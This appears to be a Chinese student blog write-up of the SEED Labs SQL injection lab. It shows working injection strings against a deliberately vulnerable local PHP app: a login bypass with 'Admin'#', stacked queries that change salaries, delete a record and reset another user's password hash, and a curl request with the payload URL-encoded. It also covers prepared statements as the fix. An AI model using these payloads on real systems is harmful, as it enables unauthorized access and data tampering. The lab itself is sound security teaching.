【科软课程-信息安全】Lab12 SQL Injection Attack

目录

1.0 概述

2.0 实验环境

 3.0 实验任务

3.1 task1 熟悉SQL语句

3.2 task2 对SELECT语句的SQL注入攻击

3.3 task3 对UPDATE语句的SQL注入攻击

3.4 task4  对策——准备好的SQL语句


1.0 概述

SQL注入是一种代码注入技术,它利用web应用程序和数据库服务器之间接口的漏洞。在将用户输入发送到后端数据库服务器之前,如果在web应用程序中没有正确检查用户输入,就会出现该漏洞。

许多网络应用程序从用户那里获取输入,然后使用这些输入来构建SQL查询,这样他们就可以从数据库中获取信息。Web应用程序还使用SQL查询将信息存储在数据库中。这些是web应用程序开发中的常见实践。如果不仔细构建SQL查询,可能会出现SQL注入漏洞。SQL注入是最常见的网络应用攻击之一。

在本实验中,我们创建了一个易受SQL注入攻击的web应用程序。我们的网络应用程序包括许多网络开发人员犯的常见错误。学生的目标是找到利用SQL注入漏洞的方法,演示攻击可能造成的损害,并掌握有助于防御此类攻击的技术。本实验涵盖以下主题:

  • SQL的SELECT和UPDATE语句
  • SQL注入
  • 准备好的SQL语句

2.0 实验环境

我们为这个实验室开发了一个网络应用程序。安装应用程序的文件夹和访问此网络应用程序的网址如下所述:

URL: http://www.SEEDLabSQLInjection.com
Folder: /var/www/SQLInjection/

上面的网址只能从虚拟机内部访问,因为我们修改了/etc/hosts文件,将每个网址的域名映射到虚拟机的本地IP地址(127.0.0.1)。您可以使用/etc/hosts将任何域名映射到特定的IP地址。例如,您可以通过将以下条目附加到/etc/hosts,将http://www.example.com映射到本地IP地址:

127.0.0.1 www.example.com 

如果您的网络服务器和浏览器运行在两台不同的机器上,您需要相应地修改浏览器机器上的/etc/hosts,以将这些域名映射到网络服务器的IP地址,而不是127.0.0.1。

Apache配置。在我们预先构建的虚拟机映像中,我们使用Apache服务器来托管实验室中使用的所有网站。Apache中基于名称的虚拟主机功能可以用来在同一台机器上托管多个网站(或网址)。目录"/etc/ apache2/sites-available "中名为000-default.conf的配置文件包含配置的必要指令:

在配置文件中,每个网站都有一个VirtualHost块,该块指定网站的网址和包含网站源的文件系统中的目录。以下示例显示如何配置一个网址为http://www.example1.com的网站和另一个网址为http://www.example2.com的网站:

<VirtualHost *>
ServerName http://www.example1.com
DocumentRoot /var/www/Example_1/
</VirtualHost>
<VirtualHost *>
ServerName http://www.example2.com
DocumentRoot /var/www/Example_2/
</VirtualHost>

您可以通过访问上述目录中的源代码来修改web应用程序。例如,使用上述配置,可以通过修改/var/www/Example_1/目录中的源来更改网络应用程序http://www.example1.com。对配置进行更改后,Apache服务器需要重新启动。请参见以下命令:

$ sudo service apache2 start

 3.0 实验任务

我们已经创建了一个网络应用程序,并将其托管在www.SEEDLabSQLInjection.com。这个web应用程序是一个简单的员工管理应用程序。员工可以通过此网络应用程序查看和更新数据库中的个人信息。这个web应用程序中主要有两个角色:管理员是特权角色,可以管理每个员工的个人档案信息;员工是一个普通角色,可以查看或更新自己的个人资料信息。下表描述了所有员工信息。

3.1 task1 熟悉SQL语句

此任务的目标是通过使用提供的数据库来熟悉SQL命令。我们创建了一个名为用户的数据库,其中包含一个名为凭据的表;该表存储个人信息(例如,eid、密码、工资、ssn等。在这个任务中,您需要使用数据库来熟悉SQL查询。

MySQL是一个开源的关系数据库管理系统。我们已经在SEEDUbuntu虚拟机映像中设置了MySQL。用户名为root,密码为seedubuntu。请使用以下命令登录MySQL控制台:

$ mysql -u root -pseedubuntu

登录后,您可以创建新数据库或加载现有数据库。由于我们已经为您创建了用户数据库,您只需使用以下命令加载该现有数据库:

$ mysql >use Users;

 要显示用户数据库中有哪些表,可以使用以下命令打印出所选数据库的所有表。

$ mysql >show table;

运行上述命令后,您需要使用一个SQL命令来打印员工Alice的所有配置文件信息。请提供您的结果截图。

实验步骤:

进入sql控制台:

 使用Users数据库:查看所有表

查看表的所有内容:

select * from credential;

 只看Alice的信息:

select * from credential where Name=“Alice”;

3.2 task2 对SELECT语句的SQL注入攻击

SQL注入基本上是一种技术,通过这种技术,攻击者可以执行他们自己的恶意SQL语句,通常称为恶意负载。通过恶意的SQL语句,攻击者可以从受害者数据库中窃取信息;更糟糕的是,他们可能能够对数据库进行更改。我们的员工管理web应用程序存在SQL注入漏洞,这些漏洞模仿了开发人员经常犯的错误。

我们将使用www.SEEDLabSQLInjection.com的登录页面来完成这项任务。登录页面如图1所示.它要求用户提供用户名和密码。网络应用程序根据这两个数据对用户进行身份验证,因此只有知道密码的员工才能登录。作为一名攻击者,你的工作就是在不知道任何员工的凭据的情况下登录到web应用程序。为了帮助您开始这项任务,我们解释如何在web应用程序中实现身份验证。

 PHP代码unsafe/home.php,位于/var/www/SqLinejection目录,用于进行用户认证。下面的代码片段显示了如何对用户进行身份验证。

$input_uname = $_GET[’username’];
$input_pwd = $_GET[’Password’];
$hashed_pwd = sha1($input_pwd);
...
$sql = "SELECT id, name, eid, salary, birth, ssn, address, email,
nickname, Password
FROM credential
WHERE name= ’$input_uname’ and Password=’$hashed_pwd’";
$result = $conn -> query($sql);
// The following is Pseudo Code
if(id != NULL) {

登录页面: 

if(name==’admin’) {
return All employees information;
} else if (name !=NULL){
return employee information;
}
} else {
Authentication Fails;
}

上面的SQL语句从凭据表中选择个人员工信息,如id、姓名、工资、ssn等。该SQL语句使用两个变量input name和hashedpwd,其中input name保存用户在登录页面的用户名字段中键入的字符串,而hashedpwd保存用户键入的密码的sha1哈希。该程序检查是否有任何记录与提供的用户名和密码匹配;如果匹配,则用户成功通过身份验证,并获得相应的员工信息。如果不匹配,身份验证将失败。

  • 任务2.1:来自网页的SQL注入攻击。您的任务是从登录页面以管理员身份登录web应用程序,这样您就可以看到所有员工的信息。我们假设您知道管理员的帐户名,也就是admin,但是您不知道密码。您需要决定在用户名和密码字段中键入什么才能成功攻击。
  • 任务2.2:来自命令行的SQL注入攻击。您的任务是重复任务2.1,但您需要在不使用网页的情况下完成。可以使用命令行工具,比如curl,可以发送HTTP请求。有一点值得一提,如果要在HTTP请求中包含多个参数,需要把URL和参数放在一对单引号之间;否则,用于分隔参数的特殊字符(如&)将被shell程序解释,从而改变命令的含义。以下示例显示了如何向我们的web应用程序发送一个HTTP GET请求,附带两个参数(用户名和密码):

$ curl ’www.SeedLabSQLInjection.com/index.php?username=alice&Password=111’ 

如果您需要在用户名或密码字段中包含特殊字符,您需要对它们进行正确编码,或者它们可以更改您的请求的含义。如果您想在这些字段中包含单引号,您应该使用% 27;如果你想包含空格,你应该使用%20.在这个任务中,您确实需要在使用curl发送请求时处理HTTP编码。

  • 任务2.3:追加一条新的SQL语句。在以上两种攻击中,我们只能从数据库中窃取信息;如果我们可以在登录页面中使用相同的漏洞来修改数据库,那就更好了。一个想法是使用SQL注入攻击将一个SQL语句变成两个,第二个是更新或删除语句。在SQL中,分号(;)用于分隔两条SQL语句。请描述如何使用登录页面让服务器运行两条SQL语句。尝试攻击从数据库中删除一条记录,并描述你的观察。

实验步骤:

task 2.1 :

登录管理员账号:

因为SQL注入,使得后面的密码字段被注释,所以不需要密码可直接登录管理员账号


                                                                                                                                                 

task 2.2 :

按照前一个task的用户名密码来进行变换,把 ' 换成 %27,把 # 换成 %23:

$curl http://www.seedlabsqlinjection.com/unsafe_home.php?username=Admin%27%23
&Password= 

 显示了HTML源码:其中包括用户的信息

task 2.3 :

由于MySQL数据库本身只允许一条语句的执行的,否则会出现错误信息。如果确实要执行多条SQL语句,可以使用mysqli的multi_query()函数:

找到unsafe_home.php:

把query修改为multi_query:

SQL注入:把以下代码填到用户名框中

Admin';update credential set salary=0 where Name="Boby";#

登录后没有显示任何信息。

查看后台数据库Boby的工资是否被修改:

Boby的工资被修改为0,攻击成功。

相同的方法,删除一个用户:

首先看看有几个用户:

我们尝试删除掉Samy: 

Admin';delete from credential where Name="Samy";#

再查看数据库记录: 

 

3.3 task3 对UPDATE语句的SQL注入攻击

如果UPDATE语句中出现SQL注入漏洞,损害会更严重,因为攻击者可以利用该漏洞修改数据库。在我们的员工管理应用程序中,有一个编辑配置文件页面(图2),允许员工更新他们的配置文件信息,包括昵称、电子邮件、地址、电话号码和密码。要进入此页面,员工需要先登录。

当员工通过“编辑配置文件”页面更新他们的信息时,将执行以下SQL UPDATE查询。在unsafeeditbackend.php文件中实现的PHP代码用于更新员工的个人资料信息。PHP文件位于/var/www/SqLinejection目录下。

$hashed_pwd = sha1($input_pwd);
$sql = "UPDATE credential SET
nickname=’$input_nickname’,
email=’$input_email’,
address=’$input_address’,
Password=’$hashed_pwd’,
PhoneNumber=’$input_phonenumber’
WHERE ID=$id;";
$conn->query($sql);
  • 任务3.1:修改自己的工资。如“编辑个人资料”页面所示,员工只能更新他们的昵称、电子邮件、地址、电话号码和密码;他们无权更改工资。假设你(爱丽丝)是一个不满的员工,你的老板Boby今年没有给你加薪。您想通过利用编辑配置文件页面中的SQL注入漏洞来增加自己的工资。请展示你是如何做到这一点的。我们假设您确实知道工资存储在一个名为“工资”的列中。
  • 任务3.2:修改别人的工资。在增加了自己的工资后,你决定惩罚你的老板Boby。你想把他的工资降到1美元。请展示你是如何做到这一点的。
  • 任务3.3:修改别人的密码。改了Boby的工资后,你还是不满,所以你想把Boby的密码改成你知道的东西,然后你就可以登录他的账户,做进一步的破坏。请展示你是如何做到这一点的。您需要证明您可以使用新密码成功登录Boby的帐户。

这里要提到的是,数据库存储的是密码的哈希值,而不是明文密码字符串。您可以再次查看unsafeeditbackend.php代码,了解密码是如何存储的。它使用SHA1哈希函数来生成密码的哈希值。

为了确保您的注入字符串不包含任何语法错误,您可以在对我们的web应用程序发起真正的攻击之前,在MySQL控制台上测试您的注入字符串。

实验步骤:

task 3.1:

首先我们看看Alice的工资是20000:

 通过SQL注入修改为30000:

Admin';update credential set salary=30000 where Name="Alice";#

 

task 3.2:

(在任务2.2的时候以Boby为例实现了攻击,我们先把boby的工资改为原来的30000)

SQL注入:

Admin';update credential set salary=1 where Name="Boby";#

task3.3:

进入var/www/SQLInjection/文件:打开unsafe_edit_backend.php文件:观察密码的存放机制

密码是用sha1函数进行加密过的: 

修改Boby的密码为我们已知的密码:

首先看看Boby密码的哈希值:

SQL注入修改Boby的密码:

Boby';update credential set Password=sha1(123) where Name="Boby";#

密码哈希值变化了、说明Boby的密码被修改了。 

3.4 task4  对策——准备好的SQL语句

SQL注入漏洞的根本问题是无法将代码与数据分开。当构造一个SQL语句时,程序(例如。PHP程序)知道哪个部分是数据,哪个部分是代码。遗憾的是,当SQL语句发送到数据库时,边界已经消失;SQL解释器看到的边界可能与开发人员设置的原始边界不同。为了解决这个问题,确保服务器端代码和数据库中的边界视图一致是很重要的。最安全的方法是使用准备好的语句。

为了理解准备好的语句是如何阻止SQL注入的,我们需要理解当SQL server收到查询时会发生什么。如何执行查询的高级工作流程如图3所示.在编译步骤中,查询首先经过解析和规范化阶段,在此阶段,将根据语法和语义检查查询。下一个阶段是编译阶段。选择、从、更新等。被转换成机器可以理解的格式。基本上,在这个阶段,查询被解释。在查询优化阶段,会考虑执行查询的不同计划的数量,从中选择最佳的优化计划。选择的计划存储在缓存中,因此每当下一个查询到来时,都会对照缓存中的内容进行检查;如果它已经存在于缓存中,解析、编译和查询优化阶段将被跳过。编译后的查询然后被传递到实际执行的执行阶段。

准备好的语句在编译之后但在执行步骤之前进入画面。准备好的语句将经历编译步骤,并被转换为预编译的查询,其中包含空的数据占位符。要运行这个预编译的查询,需要提供数据,但是这些数据将无法运行。

通过编译步骤;相反,它们被直接插入到预编译的查询中,并被发送到执行引擎。因此,即使数据内部有SQL代码,不经过编译步骤,代码也会被简单地当作数据的一部分,没有任何特殊意义。这就是事先准备好的声明如何防止SQL注入袭击。

$sql = "SELECT name, local, gender
FROM USER_TABLE
WHERE id = $id AND password =’$pwd’ ";
$result = $conn->query($sql))

下面是一个如何用PHP写准备好的语句的例子。在下面的例子中,我们使用了SELECT语句。我们展示了如何使用准备好的语句重写易受SQL注入攻击的代码。 

$stmt = $conn->prepare("SELECT name, local, gender
FROM USER_TABLE
WHERE id = ? and password = ? ");
// Bind parameters to the query
$stmt->bind_param("is", $id, $pwd);
$stmt->execute();
$stmt->bind_result($bind_name, $bind_local, $bind_gender);
$stmt->fetch();

使用准备好的语句机制,我们将向数据库发送一条SQL语句的过程分为两个步骤。第一步是只发送代码部分,即,没有实际数据的SQL语句。这是准备步骤。从上面的代码片段可以看出,实际的数据被问号(?在这一步之后,我们使用bindparam()将数据发送到数据库。数据库将把这一步中发送的所有内容仅视为数据,而不再是代码。它将数据绑定到准备好的语句的相应问号。在bindparam()方法中,第一个参数“is”表示参数的类型:“I”表示$id中的数据是整数类型,“s”表示$pwd中的数据是字符串类型。

对于此任务,请使用准备好的声明机制来修复您在之前的任务中利用的SQL注入漏洞。然后,检查您是否仍然可以利用该漏洞。

实验步骤:

 $curl http://www.seedlabsqlinjection.com/safe_home.php?username=Admin%27%23&Password=;update%20credential%20set%20salary=0%20where%20Name=%27Boby%27;

看看是否可以攻击成功:攻击失败

  • 1
    点赞
  • 23
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值